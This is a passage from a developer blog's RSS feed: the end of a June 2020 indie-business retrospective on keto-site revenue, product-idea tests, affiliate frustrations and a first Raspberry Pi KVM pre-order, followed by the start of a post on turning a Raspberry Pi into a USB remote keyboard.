 &lt;td>&lt;font color="green">+$678.78 (+10475%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://tinypilotkvm.com/">KVM Pi&lt;/a>&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>$173.94&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$228.01&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$1,039.86&lt;/strong>&lt;/td>
 &lt;td>&lt;font color="green">+$811.85 (+356%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>May 2020&lt;/th>
 &lt;th>June 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>50,352&lt;/td>
 &lt;td>57,166&lt;/td>
 &lt;td>&lt;font color="green">+6,814 (+14%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>99,391&lt;/td>
 &lt;td>109,721&lt;/td>
 &lt;td>&lt;font color="green">+10,330 (+10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>27.0&lt;/td>
 &lt;td>8.0&lt;/td>
 &lt;td>&lt;font color="red">-19.0 (-70%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$109.92&lt;/td>
 &lt;td>$85.81&lt;/td>
 &lt;td>&lt;font color="red">-$24.11 (-22%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$111.61&lt;/td>
 &lt;td>$94.85&lt;/td>
 &lt;td>&lt;font color="red">-$16.76 (-15%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$221.53&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$180.66&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$40.87 (-18%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>My visitors grew by 14%, but it&amp;rsquo;s hard to know if that&amp;rsquo;s due to general trends in keto or from actual improvements in the site. &lt;a href="https://trends.google.com/trends/explore?date=today%203-m&amp;amp;geo=US&amp;amp;q=keto">Rough numbers on Google Trends&lt;/a> suggest that search interest in keto grew by about 5% from May to June, so hopefully I&amp;rsquo;m growing faster than the baseline.&lt;/p>
&lt;p>Sadly, despite gains in readership, my earnings are shriveling up. Amazon slashed their affiliate payout rates &lt;a href="https://www.cnbc.com/2020/04/14/amazon-slashes-commission-rates-for-affiliate-program.html">back in April&lt;/a>, and that&amp;rsquo;s been stinging Is It Keto ever since. My alternative affiliate programs haven&amp;rsquo;t paid anything yet (more on that &lt;a href="#being-an-affiliate-sucks">below&lt;/a>). AdSense revenue fell, but that was intentional. I replaced my primary ad slot with &lt;a href="isitketo-self-ad.png">my own ad&lt;/a> as a way to test new product ideas.&lt;/p>
&lt;p>Ahrefs must have adjusted their algorithm because they downgraded Is It Keto&amp;rsquo;s domain rating from a 27 all the way down to 8. It doesn&amp;rsquo;t &lt;em>really&lt;/em> matter because they&amp;rsquo;re just trying to approximate my ranking in Google&amp;rsquo;s eyes, and I can see that Google hasn&amp;rsquo;t downranked me, but it does make that metric a bit meaningless.&lt;/p>
&lt;h2 id="validating-keto-product-ideas">Validating keto product ideas&lt;/h2>
&lt;p>One of my goals last month was to do something more substantial with Is It Keto&amp;rsquo;s 50k+ monthly visitors. I have a large stream of readers interested in the keto diet, so it would be great if I could build my own product that caters to them rather than relying on ever-shrinking revenue from ad networks and affiliate partners.&lt;/p>
&lt;p>My first idea was something basically like &lt;a href="https://wip.chat">wip.chat&lt;/a>. People could post photos and progress updates and encourage each other. I created a landing page that loosely described the idea:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/07/social-landing-page.png">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/07/social-landing-page_hu_c90114299cd9c0b8.png 300w, https://mtlynch.io/retrospectives/2020/07/social-landing-page_hu_744df60170448400.png 600w, https://mtlynch.io/retrospectives/2020/07/social-landing-page_hu_fc20131a4244f022.png 800w, https://mtlynch.io/retrospectives/2020/07/social-landing-page_hu_46d9755b18d15fec.png 1200w, https://mtlynch.io/retrospectives/2020/07/social-landing-page.png 1324w'
 src="https://mtlynch.io/retrospectives/2020/07/social-landing-page.png" alt="Screenshot of Cornerstone social network landing page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Landing page for my first idea: a keto social network&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Of people who reached the landing page, 4.6% signed up, but only 20-30 users per day clicked the landing page at all. 1,500-2,200 people visit Is It Keto each day, and an average of one person signed up each day, so the page converted less than 0.1% of total visitors.&lt;/p>
&lt;p>Upon joining the mailing list, subscribers received an email that looked like this:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/07/cornerstone-welcome.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/07/cornerstone-welcome_hu_b070735455070c77.png 300w, https://mtlynch.io/retrospectives/2020/07/cornerstone-welcome_hu_6d0de878b2709235.png 600w, https://mtlynch.io/retrospectives/2020/07/cornerstone-welcome.png 685w'
 src="https://mtlynch.io/retrospectives/2020/07/cornerstone-welcome.png" alt="Screenshot of automatic email response" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Automatic welcome email to people who signed up at the Cornerstone landing page&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Nobody replied or joined the Slack. I tried writing direct emails to people, but it&amp;rsquo;s hard to convince people that you, a human, are writing a personalized letter to them when all you know is their email address. Nobody I reached out to replied, and I certainly didn&amp;rsquo;t want to rush into building anything before I could talk to any users.&lt;/p>
&lt;p>After reaching out to users on Reddit, one woman told me that their primary keto community is a local &lt;a href="https://telegram.org/">Telegram&lt;/a> chat group. She said that her group of keto friends swap tips about local restaurants and grocery stores and share recipes. That sounded like an interesting idea, so I created a landing page to see if it clicked for other people.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 200px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/07/chat-landing-page.png">
 &lt;img
 
 sizes="(min-width: 768px) 200px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/07/chat-landing-page_hu_5e0c896e752c69c3.png 300w, https://mtlynch.io/retrospectives/2020/07/chat-landing-page.png 375w'
 src="https://mtlynch.io/retrospectives/2020/07/chat-landing-page.png" alt="Screenshot of Cornerstone group chat landing page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Landing page for my second idea: a keto-specialized local group chat app&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>That landing page performed even worse, with only a 2% signup rate. I&amp;rsquo;ve since removed the links and ads for those landing pages until I have the bandwidth to test a new idea.&lt;/p>
&lt;h2 id="keto-interviews-seemed-like-a-good-idea-at-the-time">Keto interviews: seemed like a good idea at the time&lt;/h2>
&lt;p>With my email outreach failing to attract any users to talk to me, I thought of &lt;a href="https://newsletter.keto.fm/">keto.fm&lt;/a>, a site I partnered with a few years ago when I was working on &lt;a href="https://recipe-search.isitketo.org">KetoHub&lt;/a>. One of their clever growth strategies was &lt;a href="hhttps://web.archive.org/web/20200805153806/https://newsletter.keto.fm/stories/">&amp;ldquo;keto stories.&amp;rdquo;&lt;/a>&lt;/p>
&lt;p>keto.fm would find people who posted progress photos on keto subreddits and invite them to be featured in keto.fm&amp;rsquo;s newsletter. The people who received invitations were flattered enough at the attention to provide a text interview. As a result, keto.fm gained free content, and the interviewees spread the newsletter to their friends.&lt;/p>
&lt;p>I thought I could do the same thing for Is It Keto&amp;rsquo;s sister site, but with one tweak: when asking people about their experience with keto, I&amp;rsquo;d dive deeply into the topics of software tools and online communities. Everyone would win! They&amp;rsquo;d get the same experience of being featured on a keto site. I&amp;rsquo;d get content to build up my new site, &lt;strong>and&lt;/strong> I&amp;rsquo;d get valuable customer insight to help inform which features to build.&lt;/p>
&lt;p>But it didn&amp;rsquo;t go as planned.&lt;/p>
&lt;p>The first problem was that my messages had a terrible response rate. I reached out to 16 redditors and only got interviews with two of them. I tried to make the interview as convenient as possible, so I offered the choice of a scheduled timeslot or &amp;ldquo;just pop into Slack whenever.&amp;rdquo; But this meant that &lt;em>I&lt;/em> had to constantly monitor my Slack channel all the time, which was a big focus-killer.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 899px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/07/cornerstone-cold-msg.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 899px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/07/cornerstone-cold-msg_hu_af3c2008dfd7206c.jpg 300w, https://mtlynch.io/retrospectives/2020/07/cornerstone-cold-msg_hu_dcae3401db5970b4.jpg 600w, https://mtlynch.io/retrospectives/2020/07/cornerstone-cold-msg_hu_9d543dc6d1c1c8aa.jpg 800w, https://mtlynch.io/retrospectives/2020/07/cornerstone-cold-msg.jpg 897w'
 src="https://mtlynch.io/retrospectives/2020/07/cornerstone-cold-msg.jpg" alt="Screenshot of cold message to a redditor" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Example message I sent to a reddit user that yielded no response&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The other issue was that if I spent the entire interview asking about product ideas, they&amp;rsquo;d sense that the interview was a farse, and I was just exploiting their time for market research. I did still ask them about how online communities influenced their experience with keto and what tools they used, but I only got to talk about it for a few minutes per interview. In an online chat, that&amp;rsquo;s basically four or five sentences of feedback.&lt;/p>
&lt;p>Lastly, I have to actually &lt;em>write&lt;/em> these interview articles. I estimate that each one will take three or four hours of editing before it reads like a decent interview. I&amp;rsquo;m going to follow through because they volunteered their time to me, and I promised to write an article about them in return, but I think I offered too much.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Jemaine&lt;/strong>: Is it a good deal for you?&lt;/p>
&lt;p>&lt;strong>Ben&lt;/strong>: Quite frankly, this is a terrible deal for me.&lt;/p>
&lt;p>&lt;strong>Jemaine&lt;/strong>: Do we want to do deals with people who do such terrible deals for themselves?&lt;/p>
&lt;p>-&lt;em>Flight of the Conchords&lt;/em>&lt;/p>&lt;/blockquote>
&lt;h2 id="being-an-affiliate-sucks">Being an affiliate sucks&lt;/h2>
&lt;p>In my last retrospective, I had this &lt;a href="https://mtlynch.io/retrospectives/2020/06/#doing-more-with-is-it-ketos-audience">fantastic revelation&lt;/a> that with 50k+ monthly visitors, Is It Keto now has a large enough audience to make direct affiliate partnerships with keto companies. Instead of showing their ads through Google AdSense, I could cut out the middle man and earn much better payouts.&lt;/p>
&lt;p>A month later, I&amp;rsquo;ve come to realize that being an affiliate is kind of awful. If you depend on one affiliate, they have a ton of power over you, as I saw when the &lt;a href="#is-it-keto">Amazon Affiliates program&lt;/a> slashed my revenue by 60% overnight. Outside of Amazon, most of the keto merchants are pretty difficult to work with and have limited selections of products — generally less than 50.&lt;/p>
&lt;p>Here&amp;rsquo;s a paraphrased email exchange I had with one of the merchants whose affiliate program I joined:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Merchant&lt;/strong>: Congratulations! You&amp;rsquo;re in our affiliate program. Here&amp;rsquo;s a link you can share with your audience. You&amp;rsquo;ll receive a 20% commission on any purchases through that link.&lt;/p>
&lt;p>&lt;strong>Me&lt;/strong>: Great! Could you give me an Is It Keto coupon code? It&amp;rsquo;s much easier to incentivize my readers to visit your site if they get a discount.&lt;/p>
&lt;p>&lt;strong>Merchant&lt;/strong>: Absolutely! Your readers can use the code &lt;code>10OFF&lt;/code> to get 10% off their order!&lt;/p>
&lt;p>&lt;strong>Me&lt;/strong>: So&amp;hellip; that looks like it&amp;rsquo;s just a generic coupon code you give to anyone. Will I get credit for sales through that code?&lt;/p>
&lt;p>&lt;strong>Merchant&lt;/strong>: No, you need to get them to click your custom link &lt;strong>and&lt;/strong> use the coupon code.&lt;/p>
&lt;p>&lt;strong>Me&lt;/strong>: Okay, that&amp;rsquo;s not really how affiliate codes work&amp;hellip;&lt;/p>
&lt;p>&lt;strong>Merchant&lt;/strong>: Oh! If you want us to actually &lt;strong>pay&lt;/strong> you when readers use your coupon code, you need to join this other platform we use to manage affiliates. They&amp;rsquo;ll give you a custom coupon code.&lt;/p>
&lt;p>&lt;strong>Me&lt;/strong>: Okay, great, I&amp;rsquo;ve signed up on that platform.&lt;/p>
&lt;p>&lt;strong>Merchant&lt;/strong>: Oh, we can&amp;rsquo;t access the information you submit to that platform. Can you enter the exact same information into this Typeform?&lt;/p>
&lt;p>&lt;strong>Me&lt;/strong>: Okay, fine.&lt;/p>
&lt;p>&lt;strong>Merchant&lt;/strong>: Great! You&amp;rsquo;re now in our affiliate program again! You can find your custom coupon code in your affiliate dashboard.&lt;/p>
&lt;p>&lt;strong>Me&lt;/strong>: Okay, I just tried testing my coupon code, and it came back as invalid.&lt;/p>
&lt;p>&lt;strong>Merchant&lt;/strong>: Oh! Coupon codes are not valid for any of our flagship products. This is not documented anywhere and can change at any time without notice. Thanks for sharing this code with your readers!&lt;/p>&lt;/blockquote>
&lt;p>The silly part is that I depend on this merchant&amp;rsquo;s competence to accurately track sales I bring them. I can see how many people click links from my own site, but anything that happens on their site is opaque to me, so I have to just trust them to count my earnings properly.&lt;/p>
&lt;p>I joined affiliate programs for two other merchants. When I asked them for banner ads to include on my site, they sent me raw photos of their products and invited me to design my own ads and copy.&lt;/p>
&lt;p>Huh?&lt;/p>
&lt;p>I replied as diplomatically as I could to say that I&amp;rsquo;m not their design department. If they have ads that I can display on my site, I&amp;rsquo;ll happily do that in exchange for sales commission, but I&amp;rsquo;m not going to design their ads for them.&lt;/p>
&lt;p>I&amp;rsquo;m not sure if I just have unreasonable expectations or if the affiliate programs for the keto industry are kind of amateurish in general. I get the sense that these reps deal mostly with Instagram or YouTube influencers, so they&amp;rsquo;re not old enough to remember what a website is.&lt;/p>
&lt;h2 id="selling-my-first-hardware-device">Selling my first hardware device&lt;/h2>
&lt;p>Okay, I feel like this retrospective has been mostly negative, so now for some good news. I&amp;rsquo;ve been working on software to turn a Raspberry Pi into &lt;a href="https://tinypilotkvm.com/">a server administration device&lt;/a>. At the end of June, I received my first pre-order!&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 839px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/07/kvmpi-first-sale.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 839px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/07/kvmpi-first-sale_hu_aa29de88e10926a4.jpg 300w, https://mtlynch.io/retrospectives/2020/07/kvmpi-first-sale_hu_8e77de082306cf28.jpg 600w, https://mtlynch.io/retrospectives/2020/07/kvmpi-first-sale_hu_7b6c86e4206e779f.jpg 800w, https://mtlynch.io/retrospectives/2020/07/kvmpi-first-sale.jpg 837w'
 src="https://mtlynch.io/retrospectives/2020/07/kvmpi-first-sale.jpg" alt="Screenshot of Stripe receipt for my first sale" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My first KVM Pi sale&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It&amp;rsquo;s the first time I&amp;rsquo;ve ever sold a pre-order of anything, so it was pretty fun.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/07/kvmpi-assembled.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/07/kvmpi-assembled_hu_b226d0850393c21e.jpg 300w, https://mtlynch.io/retrospectives/2020/07/kvmpi-assembled_hu_ea824148c81bf274.jpg 600w, https://mtlynch.io/retrospectives/2020/07/kvmpi-assembled_hu_ca7101a56b5b028f.jpg 800w, https://mtlynch.io/retrospectives/2020/07/kvmpi-assembled_hu_8de28763708e486.jpg 1200w, https://mtlynch.io/retrospectives/2020/07/kvmpi-assembled.jpg 1200w'
 src="https://mtlynch.io/retrospectives/2020/07/kvmpi-assembled.jpg" alt="Photo of KVM Pi device" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My KVM Pi demo device&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Here was my process:&lt;/p>
&lt;ol>
&lt;li>Wrote a &lt;a href="https://mtlynch.io/key-mime-pi/">blog post&lt;/a> that shared my progress in building KVM Pi (when only the keyboard part worked).&lt;/li>
&lt;li>Shared the blog post on Raspberry Pi &lt;a href="https://www.raspberrypi.org/forums/viewtopic.php?f=36&amp;amp;t=276860">forums&lt;/a> / &lt;a href="https://www.reddit.com/r/RASPBERRY_PI_PROJECTS/comments/h0z8m6/key_mime_pi_i_turned_my_pi_into_a_remote_keyboard/">subreddits&lt;/a>.
&lt;ul>
&lt;li>The post got a decent but not huge reaction, the biggest being &lt;a href="https://www.tomshardware.com/news/key-mime-pi-the-raspberry-pi-remote-keyboard">a writeup in Tom&amp;rsquo;s Hardware&lt;/a>, a popular tech blog.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Created an &amp;ldquo;interested buyer&amp;rdquo; mailing list and linked to it from my blog post (I&amp;rsquo;ve since replaced it with a link to my sales page). I got 11 subscribers this way.&lt;/li>
&lt;li>Shared progress with my subscribers and &lt;a href="kvmpi-survey.png">sent a Google Forms survey&lt;/a> to gauge interest and price preferences&lt;/li>
&lt;li>Five of my 11 subscribers &lt;a href="kvmpi-survey-results.png">responded to the survey&lt;/a>, and 60% (3 people) said they were happy with the $180 price I had in mind.&lt;/li>
&lt;li>Created a &lt;a href="https://tinypilotkvm.com/">sales page&lt;/a> with photos and demo videos.&lt;/li>
&lt;li>Announced the pre-sale to my subscribers.
&lt;ul>
&lt;li>30 minutes later, I received my first pre-order.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;p>In retrospect, I wish I had offered a discount to pre-order customers. I suspect that more than one person would have ordered if the incentives were right. I only have five complete kits ready to go out on release day, so the incentive I wanted to showcase was that they&amp;rsquo;d be first in line. Otherwise, they&amp;rsquo;ll have to wait two weeks for me to order new parts and ship them out. But being first in line might not be as exciting an incentive as I was hoping.&lt;/p>
&lt;p>Now that I think about it, I can still make that offer. I&amp;rsquo;ll do that tomorrow. To avoid punishing my first customer for acting early, I can either offer them a rebate down to the discounted price or give them a free upgrade to a higher-end kit.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>May 2020&lt;/th>
 &lt;th>June 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>467&lt;/td>
 &lt;td>369&lt;/td>
 &lt;td>&lt;font color="red">-98 (-21%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,258&lt;/td>
 &lt;td>995&lt;/td>
 &lt;td>&lt;font color="red">-263 (-21%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$6.48&lt;/td>
 &lt;td>$5.86&lt;/td>
 &lt;td>&lt;font color="red">-$0.62 (-10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Plan Earnings&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$679.40&lt;/td>
 &lt;td>&lt;font color="green">+$679.40 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$6.48&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$685.26&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$678.78 (+10475%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>This was a good month for Zestful, as I sold a new Enterprise plan. The customer was a small bootstrapped company, so I offered a significant discount and shorter contract length.&lt;/p>
&lt;p>I was nervous because I&amp;rsquo;ve found that customers who can&amp;rsquo;t afford the standard rate tend to be more difficult to work with, but things have been smooth so far.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Created &lt;a href="https://tinypilotkvm.com/">a server administration device&lt;/a> and sold my first unit.&lt;/li>
&lt;li>Tested two ideas for sister products to Is It Keto (both duds).&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/key-mime-pi/">&amp;ldquo;Key Mime Pi: Turn Your Raspberry Pi into a Remote Keyboard&amp;rdquo;&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>When offering people something in exchange for participating in a customer interview, make sure the offer won&amp;rsquo;t become burdensome if your plans change.&lt;/li>
&lt;li>Allow people to sign up for your mailing list, even if you don&amp;rsquo;t know how you&amp;rsquo;ll use it.
&lt;ul>
&lt;li>I created an Is It Keto mailing list for the first time this month and steadily receive 20 new subscribers per week with zero effort.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish a blog post about KVM Pi.&lt;/li>
&lt;li>Sell 10 KVM Pi units.&lt;/li>
&lt;li>Write up the interviews I promised to my keto interviewees.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Key Mime Pi: Turn Your Raspberry Pi into a Remote Keyboard</title><link>https://mtlynch.io/key-mime-pi/</link><pubDate>Thu, 11 Jun 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/key-mime-pi/</guid><description>&lt;p>Recent versions of the Raspberry Pi support USB on-the-go (USB OTG), which allows them to impersonate USB devices such as keyboards, thumb drives, and microphones. To take advantage of this, I made an open-source web app that turns my Pi into a fake keyboard. I call it &lt;a href="https://github.com/mtlynch/key-mime-pi.git">Key Mime Pi&lt;/a>.&lt;/p>
&lt;p>This post demonstrates how Key Mime Pi works and how you can build one for yourself.&lt;/p>
&lt;h2 id="demo">Demo&lt;/h2>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/EYMGQxiu-kI?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;h2 id="what-youll-need">What you&amp;rsquo;ll need&lt;/h2>
&lt;ul>
&lt;li>A Raspberry Pi that supports USB OTG:
&lt;ul>
&lt;li>&lt;a href="https://smile.amazon.com/Raspberry-Model-2019-Quad-Bluetooth/dp/B07TD42S27/">Raspberry Pi 4&lt;/a> (all variants)&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/CanaKit-Raspberry-Wireless-Official-Supply/dp/B071L2ZQZX/">Raspberry Pi Zero W&lt;/a>&lt;/li>
&lt;li>Raspberry Pi A and A+ &lt;em>(verification needed)&lt;/em>
&lt;ul>
&lt;li>&lt;a href="https://raspberrypi.stackexchange.com/a/73911">This source&lt;/a> claims that early Pis support USB OTG, but I have not tested these devices personally.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://www.raspberrypi.org/downloads/raspberry-pi-os/">Raspberry Pi OS&lt;/a> (aka Raspbian)
&lt;ul>
&lt;li>Stretch or later&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>A USB cable
&lt;ul>
&lt;li>For the Pi 4: &lt;a href="https://www.amazon.com/Anker-2-Pack-Premium-Charging-Samsung/dp/B07DC5PPFV/">USB-C to USB-A&lt;/a> (Male/Male)&lt;/li>
&lt;li>For the Pi Zero W: &lt;a href="https://smile.amazon.com/AmazonBasics-Male-Micro-Cable-Black/dp/B072J1BSV6/">Micro-USB to USB-A&lt;/a> (Male/Male)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="install-raspberry-pi-os-lite">Install Raspberry Pi OS Lite&lt;/h2>
&lt;p>To begin, install &lt;a href="https://www.raspberrypi.org/downloads/raspberry-pi-os/">Raspberry Pi OS lite&lt;/a> (formerly known as Raspbian) on a microSD card.&lt;/p></description><content:encoded>&lt;p>Recent versions of the Raspberry Pi support USB on-the-go (USB OTG), which allows them to impersonate USB devices such as keyboards, thumb drives, and microphones. To take advantage of this, I made an open-source web app that turns my Pi into a fake keyboard. I call it &lt;a href="https://github.com/mtlynch/key-mime-pi.git">Key Mime Pi&lt;/a>.&lt;/p>
&lt;p>This post demonstrates how Key Mime Pi works and how you can build one for yourself.&lt;/p>
&lt;h2 id="demo">Demo&lt;/h2>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/EYMGQxiu-kI?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;h2 id="what-youll-need">What you&amp;rsquo;ll need&lt;/h2>
&lt;ul>
&lt;li>A Raspberry Pi that supports USB OTG:
&lt;ul>
&lt;li>&lt;a href="https://smile.amazon.com/Raspberry-Model-2019-Quad-Bluetooth/dp/B07TD42S27/">Raspberry Pi 4&lt;/a> (all variants)&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/CanaKit-Raspberry-Wireless-Official-Supply/dp/B071L2ZQZX/">Raspberry Pi Zero W&lt;/a>&lt;/li>
&lt;li>Raspberry Pi A and A+ &lt;em>(verification needed)&lt;/em>
&lt;ul>
&lt;li>&lt;a href="https://raspberrypi.stackexchange.com/a/73911">This source&lt;/a> claims that early Pis support USB OTG, but I have not tested these devices personally.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://www.raspberrypi.org/downloads/raspberry-pi-os/">Raspberry Pi OS&lt;/a> (aka Raspbian)
&lt;ul>
&lt;li>Stretch or later&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>A USB cable
&lt;ul>
&lt;li>For the Pi 4: &lt;a href="https://www.amazon.com/Anker-2-Pack-Premium-Charging-Samsung/dp/B07DC5PPFV/">USB-C to USB-A&lt;/a> (Male/Male)&lt;/li>
&lt;li>For the Pi Zero W: &lt;a href="https://smile.amazon.com/AmazonBasics-Male-Micro-Cable-Black/dp/B072J1BSV6/">Micro-USB to USB-A&lt;/a> (Male/Male)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="install-raspberry-pi-os-lite">Install Raspberry Pi OS Lite&lt;/h2>
&lt;p>To begin, install &lt;a href="https://www.raspberrypi.org/downloads/raspberry-pi-os/">Raspberry Pi OS lite&lt;/a> (formerly known as Raspbian) on a microSD card.&lt;/p>




















 
 
 







&lt;figure class="img" style="max-width: 418px">



 &lt;a href="https://mtlynch.io/key-mime-pi/rufus-install.png">
 &lt;img
 
 sizes="(min-width: 768px) 418px, 98vw"
 srcset='https://mtlynch.io/key-mime-pi/rufus-install_hu_465096d2bc8bc934.png 300w, https://mtlynch.io/key-mime-pi/rufus-install.png 418w'
 src="https://mtlynch.io/key-mime-pi/rufus-install.png" alt="Screenshot of Rufus" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I use &lt;a href="https://rufus.ie">Rufus&lt;/a> to write my Pi micro SD cards, but any whole disk imaging tool will work.&lt;/p>&lt;/figcaption>
&lt;/figure>


